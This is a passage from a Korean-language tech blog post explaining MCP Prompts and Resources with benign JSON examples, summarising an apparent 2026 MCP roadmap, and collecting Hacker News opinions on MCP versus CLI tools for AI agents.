width=&quot;2668&quot; height=&quot;1432&quot; data-origin-width=&quot;2668&quot; data-origin-height=&quot;1432&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;6-1. MCP Prompts = 클라이언트 요청 시 받는 SKILL.md&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;MCP Prompts는 클라이언트가 서버에 요청하면 &lt;b&gt;&quot;이 도구를 이렇게 사용하라&quot;는 가이드&lt;/b&gt;를 받을 수 있는 메커니즘이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;// MCP Prompts 예시: 클라이언트가 요청(prompts/list &amp;rarr; prompts/get)하면 받는 사용 가이드&lt;/div&gt;
&lt;pre class=&quot;json&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;// prompts/list 응답
{
  &quot;prompts&quot;: [
    {
      &quot;name&quot;: &quot;flight-booking-workflow&quot;,
      &quot;description&quot;: &quot;항공편 예약 워크플로우 가이드&quot;,
      &quot;arguments&quot;: [
        { &quot;name&quot;: &quot;trip_type&quot;, &quot;description&quot;: &quot;편도/왕복&quot;, &quot;required&quot;: true }
      ]
    }
  ]
}

// prompts/get 호출 시 반환되는 메시지
{
  &quot;messages&quot;: [
    {
      &quot;role&quot;: &quot;user&quot;,
      &quot;content&quot;: {
        &quot;type&quot;: &quot;text&quot;,
        &quot;text&quot;: &quot;항공편 예약 시 다음 순서를 따르세요:\n1. searchFlights로 검색\n2. 결과를 사용자에게 보여주기\n3. 사용자 선택 후 bookFlight 호출\n주의: 왕복의 경우 반드시 returnDate를 포함하세요.&quot;
      }
    }
  ]
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;현재 개발자가 하는 일을 생각해보자. Claude Code에서 사내 도구를 쓰려면 &lt;code&gt;SKILL.md&lt;/code&gt;나 &lt;code&gt;AGENTS.md&lt;/code&gt;를 &lt;b&gt;수동으로 작성&lt;/b&gt;해야 한다. MCP Prompts가 제대로 지원되면, 클라이언트가 서버에 목록을 조회하고 선택해 요청하는 방식으로 이 가이드를 받아올 수 있다. (공식 문서: Prompts는 &quot;user-controlled&quot; 방식 &amp;mdash; 즉, LLM이 자동으로 호출하는 것이 아니라 사용자가 명시적으로 선택해 사용하는 구조다. 출처: &lt;a href=&quot;https://modelcontextprotocol.io/docs/concepts/prompts&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;modelcontextprotocol.io/docs/concepts/prompts&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;6-2. MCP Resources = 클라이언트 요청 시 받는 /docs&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;MCP Resources는 클라이언트가 서버에 요청하면 &lt;b&gt;참고 문서&lt;/b&gt;를 받을 수 있는 메커니즘이다. API 문서, 데이터 스키마, 사용 예시 등을 클라이언트가 요청해서 가져올 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;// MCP Resources 예시: 클라이언트가 요청(resources/list &amp;rarr; resources/read)하면 받는 참고 문서&lt;/div&gt;
&lt;pre class=&quot;json&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;// resources/list 응답
{
  &quot;resources&quot;: [
    {
      &quot;uri&quot;: &quot;docs://api/flights&quot;,
      &quot;name&quot;: &quot;Flights API Documentation&quot;,
      &quot;mimeType&quot;: &quot;text/markdown&quot;
    },
    {
      &quot;uri&quot;: &quot;schema://database/orders&quot;,
      &quot;name&quot;: &quot;Orders Table Schema&quot;,
      &quot;mimeType&quot;: &quot;application/json&quot;
    }
  ]
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px 18px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Chen의 가장 큰 실망&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Chen은 Hacker News 댓글에서 직접 이렇게 밝혔다: &lt;b&gt;&quot;MCP 클라이언트들이 Prompts와 Resources를 제대로 지원하지 않는 것이 가장 실망스럽다.&quot;&lt;/b&gt; 현재 대부분의 클라이언트는 Tools만 지원하며, Prompts와 Resources는 사실상 무시되고 있다. (출처: &lt;a href=&quot;https://news.ycombinator.com/item?id=47380270&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hacker News 댓글&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;6-3. 왜 이게 중요한가&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Prompts와 Resources가 제대로 지원되면, MCP 서버는 단순한 &quot;도구 제공자&quot;를 넘어 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&quot;지식 + 기술 + 도구&quot;를 한 번에 전달하는 패키지&lt;/b&gt;&lt;/span&gt;가 된다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;MCP 프리미티브&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;CLI/에이전트 세계의 대응&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;전달 방식&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Tools&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;CLI 명령어, 함수 호출&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;수동 설치 또는 자동 제공&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Prompts&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;SKILL.md, AGENTS.md (사용 가이드)&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;클라이언트 요청 시 서버 전달&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Resources&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;/docs, API 문서, 스키마 파일&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;클라이언트 요청 시 서버 전달&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;CLI는 &lt;code&gt;--help&lt;/code&gt;와 &lt;code&gt;man page&lt;/code&gt;를 제공하지만, 이것은 &quot;도구 사용법&quot;에 국한된다. &lt;b&gt;&quot;이 도구들을 어떤 순서로 조합해야 하는가&quot;&lt;/b&gt;(Prompts)와 &lt;b&gt;&quot;관련 배경 지식은 무엇인가&quot;&lt;/b&gt;(Resources)는 CLI의 범위 밖이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 7 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. MCP 2026 공식 로드맵 분석&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Chen의 주장에 무게를 더하는 게 하나 있다. MCP가 현재 진행형이라는 점이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;2026년 3월 9일, MCP Lead Maintainer David Soria Parra가 2026년 공식 로드맵을 발표했다. (출처: &lt;a href=&quot;https://blog.modelcontextprotocol.io/posts/2026-mcp-roadmap/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;modelcontextprotocol.io, 2026.03.09&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;7-1. 4대 우선순위&lt;/h3&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: rgba(0, 102, 204, 0.1);&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;#&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;우선순위&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;핵심 내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;1&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Transport Evolution &amp;amp; Scalability&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;수평 확장, 세션 관리, &lt;code&gt;.well-known&lt;/code&gt; 메타데이터 검색&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;2&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Agent Communication&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Tasks primitive(SEP-1686) 안정화, 재시도/만료 정책&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;3&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Governance Maturation&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;기여자 래더, Working Group 위임 모델&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;4&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Enterprise Readiness&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;감사 추적, SSO 통합, 게이트웨이, 설정 이식성&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;7-2. Transport Evolution &amp;mdash; 수평 확장과 검색&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;현재 MCP 서버는 단일 인스턴스로 운영되는 경우가 많다. 로드맵은 &lt;b&gt;수평 확장&lt;/b&gt;(horizontal scaling)과 &lt;b&gt;세션 관리&lt;/b&gt;를 핵심 과제로 삼는다. 또한 &lt;code&gt;.well-known&lt;/code&gt; 메타데이터를 통해 MCP 서버를 &lt;b&gt;자동 발견&lt;/b&gt;(auto-discovery)하는 메커니즘도 포함된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이는 마치 웹 서비스가 단일 서버에서 로드 밸런서 뒤의 클러스터로 진화한 과정과 유사하다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;7-3. Agent Communication &amp;mdash; 에이전트 간 협업&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Tasks primitive&lt;/b&gt;(SEP-1686)는 에이전트가 다른 에이전트에게 작업을 위임하고, 그 결과를 받아오는 메커니즘이다. 재시도 정책, 만료 시간 설정 등이 포함된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;CLI에는 이에 대응하는 표준이 없다. 셸 스크립트로 비슷한 것을 만들 수는 있지만, &lt;b&gt;표준화된 에이전트 간 통신 프로토콜&lt;/b&gt;과는 차원이 다르다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;7-4. Enterprise Readiness &amp;mdash; 확장으로 제공&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;엔터프라이즈 기능이 &lt;b&gt;코어 스펙 변경이 아닌 확장(extension)&lt;/b&gt;으로 제공된다는 점도 눈에 띈다. MCP 코어 프로토콜은 가볍게 두고, 기업 요구사항은 선택적으로 얹는 방식이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #d0d7de;&quot;&gt;&lt;b&gt;로드맵이 말해주는 것&lt;/b&gt;
&lt;ul style=&quot;margin: 12px 0 0 20px; padding: 0; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;MCP는 &lt;b&gt;로컬 stdio의 한계&lt;/b&gt;를 인식하고 있으며, 적극적으로 개선 중&lt;/li&gt;
&lt;li&gt;&lt;b&gt;수평 확장, 에이전트 간 통신, 엔터프라이즈 보안&lt;/b&gt; &amp;mdash; 이 세 가지는 CLI로는 표준화하기 어려운 영역&lt;/li&gt;
&lt;li&gt;Working Group 기반 거버넌스로 오픈 표준의 투명성 확보&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;font-size: 13px; color: #666; margin-top: 10px;&quot; data-ke-size=&quot;size14&quot;&gt;출처: &lt;a href=&quot;https://blog.modelcontextprotocol.io/posts/2026-mcp-roadmap/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;MCP Vision 2026, modelcontextprotocol.io&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;7-5. On the Horizon &amp;mdash; 미래 기능&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;로드맵에는 &quot;지평선 위의&quot; 미래 기능도 언급되어 있다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;트리거/이벤트&lt;/b&gt;: 서버가 클라이언트에게 이벤트를 보내는 푸시 메커니즘&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;스트리밍 결과&lt;/b&gt;: 대용량 결과를 실시간 스트리밍&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;DPoP (SEP-1932)&lt;/b&gt;: Demonstration of Proof-of-Possession &amp;mdash; 토큰 도난 방지&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Workload Identity (SEP-1933)&lt;/b&gt;: 에이전트 자체의 정체성 관리&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 8 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 커뮤니티 반응 심층 분석&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2528&quot; data-origin-height=&quot;890&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/O8Dw3/dJMcadBgIQK/LHxhRu9cYfPq17k1AkvnKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/O8Dw3/dJMcadBgIQK/LHxhRu9cYfPq17k1AkvnKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/O8Dw3/dJMcadBgIQK/LHxhRu9cYfPq17k1AkvnKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FO8Dw3%2FdJMcadBgIQK%2FLHxhRu9cYfPq17k1AkvnKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2528&quot; height=&quot;890&quot; data-origin-width=&quot;2528&quot; data-origin-height=&quot;890&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;8-1. Hacker News &amp;mdash; MCP 옹호 측&lt;/h3&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #d0d7de;&quot;&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px; line-height: 2.2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code style=&quot;font-size: 12px; background: #d5f0d5; padding: 1px 5px; border-radius: 3px;&quot;&gt;gbro3n&lt;/code&gt; &lt;span style=&quot;color: #0066cc; font-weight: 600;&quot;&gt;&quot;MCP over HTTP가 결정론적 게이트 역할. AI 에이전트에게 자유보다 제약이 더 중요&quot;&lt;/span&gt; &amp;mdash; 에이전트의 행동을 제어 가능한 범위 안에 두는 것이 핵심이라는 관점&lt;/li&gt;
&lt;li&gt;&lt;code style=&quot;font-size: 12px; background: #d5f0d5; padding: 1px 5px; border-radius: 3px;&quot;&gt;nvardakas&lt;/code&gt; &lt;span style=&quot;color: #0066cc; font-weight: 600;&quot;&gt;&quot;가장 좋은 AI 도구는 에이전트를 제약하는 것. MCP가 깔끔한 경계 제공&quot;&lt;/span&gt; &amp;mdash; &quot;자유로운 CLI 접근&quot;보다 &quot;제한된 MCP 도구 세트&quot;가 안전하다는 주장&lt;/li&gt;
&lt;li&gt;&lt;code style=&quot;font-size: 12px; background: #d5f0d5; padding: 1px 5px; border-radius: 3px;&quot;&gt;0xbadcafebee&lt;/code&gt; &lt;span style=&quot;color: #0066cc; font-weight: 600;&quot;&gt;&quot;MCP는 HTTP나 SMTP처럼 표준 통신 프로토콜. 만개의 앱과 호환성&quot;&lt;/span&gt; &amp;mdash; MCP를 특정 기술이 아닌 표준 프로토콜로 보는 관점&lt;/li&gt;
&lt;li&gt;&lt;code style=&quot;font-size: 12px; background: #d5f0d5; padding: 1px 5px; border-radius: 3px;&quot;&gt;jabber86&lt;/code&gt; &lt;span style=&quot;color: #0066cc; font-weight: 600;&quot;&gt;&quot;MCP는 CLI도 셸도 없는 iPad/Android 태블릿 사용자에게 필수&quot;&lt;/span&gt; &amp;mdash; 터미널 환경이 없는 디바이스에서의 MCP 가치&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;8-2. Hacker News &amp;mdash; CLI 옹호 및 MCP 비판 측&lt;/h3&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #d0d7de;&quot;&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px; line-height: 2.2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code style=&quot;font-size: 12px; background: #fdd; padding: 1px 5px; border-radius: 3px;&quot;&gt;tptacek&lt;/code&gt; &lt;span style=&quot;color: #ee2323; font-weight: 600;&quot;&gt;&quot;왜 CLI로 안 되나? 초기 에이전트가 임의 CLI를 실행 못 했기 때문. 이제는 가능&quot;&lt;/span&gt; &amp;mdash; MCP의 존재 이유가 &quot;초기 에이전트의 한계&quot; 때문이었다면, 그 한계가 사라진 지금 MCP도 사라져야 한다는 논리&lt;/li&gt;
&lt;li style=&quot;margin-top: 8px;&quot;&gt;&lt;code style=&quot;font-size: 12px; background: #fdd; padding: 1px 5px; border-radius: 3px;&quot;&gt;tptacek&lt;/code&gt; (보안 비판 강화) &lt;span style=&quot;color: #ee2323; font-weight: 600;&quot;&gt;&quot;MCP를 쓰는 가장 큰 이유가 보안이라면, 난 확신한다: 이건 이미 끝난 기술이다(it's a dead letter). MCP 서버가 새로운 공격 표면을 만든다&quot;&lt;/span&gt; &amp;mdash; 보안 전문가 관점에서 MCP 서버 자체가 공격 벡터가 된다는 지적&lt;/li&gt;
&lt;li style=&quot;margin-top: 8px;&quot;&gt;&lt;code style=&quot;font-size: 12px; background: #fdd; padding: 1px 5px; border-radius: 3px;&quot;&gt;arnitdo&lt;/code&gt; &lt;span style=&quot;color: #ee2323; font-weight: 600;&quot;&gt;&quot;LLM은 순수하게 텍스트 기반이지만, 네트워크 프로토콜은 본질적으로 더 복잡하다. 텍스트 기반 엔지니어링은 결국 핵심 위에 추상화를 쌓게 되고, LLM 모델이 인코딩을 바꾸는 순간 피라미드가 무너진다&quot;&lt;/span&gt; &amp;mdash; MCP가 LLM의 텍스트 본질과 맞지 않는 복잡성을 도입한다는 근본적 회의론&lt;/li&gt;
&lt;li style=&quot;margin-top: 8px;&quot;&gt;&lt;code style=&quot;font-size: 12px; background: #fdd; padding: 1px 5px; border-radius: 3px;&quot;&gt;troupo&lt;/code&gt; &lt;span style=&quot;color: #ee2323; font-weight: 600;&quot;&gt;&quot;MCP는 바이브 코딩된 프로토콜이다. AI 하이프 웨이브를 타고 나왔고, 처음에 보안이 전혀 없었으며 나중에야 OAuth를 급히 볼트온했다&quot;&lt;/span&gt; &amp;mdash; MCP의 출발점 자체가 급조되었다는 비판 &lt;span style=&quot;font-size: 12px; color: #888;&quot;&gt;(※ 한국어 의역. 원문: &quot;vibe-coded protocol that rode one of the many AI hype waves&quot;)&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px 18px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Chen/MCP 측 응답&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0; line-height: 2.2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;보안 비판(tptacek)에 대해&lt;/b&gt;: MCP 2026 로드맵에 &lt;b&gt;DPoP(SEP-1932, Demonstration of Proof-of-Possession)&lt;/b&gt;과 &lt;b&gt;Workload Identity(SEP-1933)&lt;/b&gt;가 포함되어 있다. 토큰 도난 방지와 에이전트 정체성 관리가 스펙 수준에서 해결될 예정이다. (출처: &lt;a href=&quot;https://blog.modelcontextprotocol.io/posts/2026-mcp-roadmap/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;MCP 2026 로드맵&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;OAuth 급조 비판(troupo)에 대해&lt;/b&gt;: HN의 &lt;code style=&quot;font-size: 12px; background: #d5f0d5; padding: 1px 5px; border-radius: 3px;&quot;&gt;brabel&lt;/code&gt;이 반론 &amp;mdash; &lt;b&gt;&quot;이것이 올바른 순서였다. 패턴이 나타날 때까지 보안을 열어두고, 이후 스펙에 정리한 것. 처음부터 과도한 보안 설계를 하면 아무도 쓰지 않는 프로토콜이 된다.&quot;&lt;/b&gt; (출처: &lt;a href=&quot;https://news.ycombinator.com/item?id=47380270&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hacker News&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;추상화 피라미드 비판(arnitdo)에 대해&lt;/b&gt;: MCP의 JSON-RPC 계층이 추가 복잡성을 도입하는 것은 사실이나, HTTP/REST도 같은 비판을 받았다. 표준화의 이점이 추상화 비용을 넘어서는지는 생태계 규모에 달려 있다.   &lt;i&gt;이 부분은 아직 결론이 나지 않은 진행 중인 논쟁이다.&lt;/i&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;8-3. Hacker News &amp;mdash; 절충 의견&lt;/h3&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px 18px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px; line-height: 2.2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
